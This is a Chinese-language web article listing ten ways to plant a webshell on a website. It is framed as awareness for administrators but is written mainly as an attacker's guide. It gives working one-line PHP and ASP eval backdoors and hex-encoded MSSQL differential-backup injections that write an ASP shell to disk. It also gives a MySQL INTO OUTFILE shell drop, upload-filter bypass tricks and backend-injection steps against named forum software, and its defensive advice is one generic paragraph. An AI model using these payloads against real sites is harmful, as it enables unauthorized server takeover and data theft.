获取webshell的⼗种⽅法
⿊客在⼊侵企业⽹站时,通常要通过各种⽅式获取webshell从⽽获得企业⽹站的控制权,然后⽅便进⾏之后的⼊侵⾏为。本篇⽂章将如何获取webshell总结成为了⼗种⽅法,希望⼴⼤的企业⽹络管理员能够通过了解获取的途径,对企业⾃⾝进⾏防范。
⼀、通过上传⽂件类型过滤漏洞获取webshell
由于未采⽤⽩名单过滤⽂件类型,导致asa,cer,等⽂件类型,未进⾏限制,asa,cer类型⽂件的映射处理默认跟asp映射处理⼀样,将webshell伪装成该种类型的⽂件上传即可
⼆、结合Burp Suite⼯具,修改上传⽂件信息,逃避验证
现在很多的脚本程序上传模块不是只允许上传合法⽂件类型,⽽⼤多数的系统是允许添加上传类型 php.g1f的上传类型,这是php的⼀个特性,最后的哪个只要不是已知的⽂件类型即可,php会将php.g1f作为。php来正常运⾏,从⽽也可成功拿到shell.LeadBbs3.14后台获得webshell⽅法是:在上传类型中增加asp ,注意,asp后⾯是有个空格的,然后在前台上传ASP马,当然也要在后⾯加个空格!
三、利⽤后台管理功能写⼊webshell
上传漏洞基本上补的也差不多了,所以我们进⼊后台后还可以通过修改相关⽂件来写⼊webshell.⽐较的典型的有dvbbs6.0,还有
leadbbs2.88等,直接在后台修改配置⽂件,写⼊后缀是asp的⽂件。⽽LeadBbs3.14后台获得webshell另⼀⽅法是:添加⼀个新的友情链接,在⽹站名称处写上冰狐最⼩马即可,最⼩马前后要随便输⼊⼀些字符,http:\\⽹站\inc\IncHtm\BoardLink.asp就是我们想要的shell.四、利⽤xpcmd..命令⽣成webshell
五、利⽤后台数据库备份及恢复获取webshell
主要是利⽤后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意⽂件后缀改为asp,从⽽得到webshell,msssql版的程序就直接应⽤了access版的代码,导致sql版照样可以利⽤。还可以备份⽹站asp⽂件为其他后缀如。txt⽂件,从⽽可以查看并获得⽹页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运⽤中经常会碰到没有上传功能的时候,但是有asp系统在运⾏,利⽤此⽅法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动⽹论坛就有⼀个ip地址的数据库,在后台的ip管理中可以插⼊最⼩马然后备份成。asp⽂件即可。在谈谈突破上传检测的⽅法,很多asp程序在即使改了后缀名后也会提⽰⽂件⾮法,通过在。asp⽂件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的⽬的,还有⼀种就是⽤记事本打开图⽚⽂件,随便粘贴⼀部分复制到asp⽊马⽂件头,修改 gif后缀后上传也可以突破检测,然后备份为。asp⽂件,成功得到webshell.
六、利⽤数据库压缩功能
可以将数据的防下载失效从⽽使插⼊数据库的最⼩马成功运⾏,⽐较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>,提交后,在数据库操作中压缩数据库,可以成功压缩出。asp⽂件,⽤海洋的最⼩马的eval客户端连就得到⼀个webshell.
七、mssql系统差异备份⽣成webshell
差异备份的主要代码:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——这段代码中,0x626273是要备份的库名bbs的⼗六进制,可以是其他名字⽐如bbs.bak;
0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的⼗六进制,是lp最⼩马;数据库怎么备份数据
0x643A5C7765625C312E617370是d:\web\1.asp的⼗六进制,也就是你要备份的webshell路径。当然也可以⽤⽐较常见备份⽅式来获得webshell,唯⼀的不⾜就是备份后的⽂件过⼤,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运⾏,利⽤差异备份是成功率⽐较⾼的⽅法,并且极⼤的减少备份⽂件的⼤⼩。
⼋、php+mysql系统
就可以暴出路径,php环境中⽐较容易暴出绝对路径:)。提⼀点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot \\a.php.下⾯的⽅法是⽐较常⽤的⼀个导出webshell的⽅法,也可以写个vbs添加系统管理员的脚本导出到启动⽂件夹,系统重起后就会添加⼀个管理员帐号CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')
select cmd from a into outfile '路径/b.php' DROP TABLE IF EXISTS a访问b.php就会⽣成⼀个<?eval($_POST[a]);?>的最⼩马。
如果遇到可以执⾏php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输⼊以下代码:
<?$sa = fopen("./up/saiy.php","w");fwrite($sa,"<?eval(\$_POST[a]);?".">");fclose($sa);?>
就会在up⽬录下⽣成⽂件名为saiy.php内容为<?eval($_POST[a]);?>的最⼩php⽊马,最后⽤lanker 的客户端来连接。实际运⽤中要考虑到⽂件夹是否有写权限。或者输⼊这样的代码<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将会在当前
⽬录⽣成⼀个a.php的最⼩马。
九、phpwind论坛从后台到webshell的三种⽅式
⽅式1 模板法进⼊后台,风格模版设置,在随便⼀⾏写代码,记住,这代码必须顶着左边⾏写,代码前⾯不可以有任何字符。
⽅式2 脏话过滤法进⼊安全管理◇不良词语过滤。新增不良词语写 a‘]=’aa‘;eval($_POST[’a‘]);//
⼗、也可以利⽤⽹站访问计数系统记录来获取webshell
解决⽅案由于本⽂涉及的代码版本很多,所以不可能提供⼀个完美的解决⽅案。有能⼒者可以针对本⽂提到的漏洞⽂件进⾏适当修补,若漏洞⽂件不影响系统使⽤也可删除此⽂件。⼤家如果不会修补,可以到相关官⽅⽹站下载最新补丁进⾏修复更新。同时也请⼤家能时刻关注各⼤安全⽹络发布的最新公告,若⾃⼰发现相关漏洞也可及时通知官⽅⽹站。
后记其实,从后台得到webshell的技巧应该还有很多的,关键是要看⼤家怎么灵活运⽤、触类旁通,希望本⽂的⽅法能起到抛砖引⽟的作⽤。各位加油吧,让我们将服务器控制到底!
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论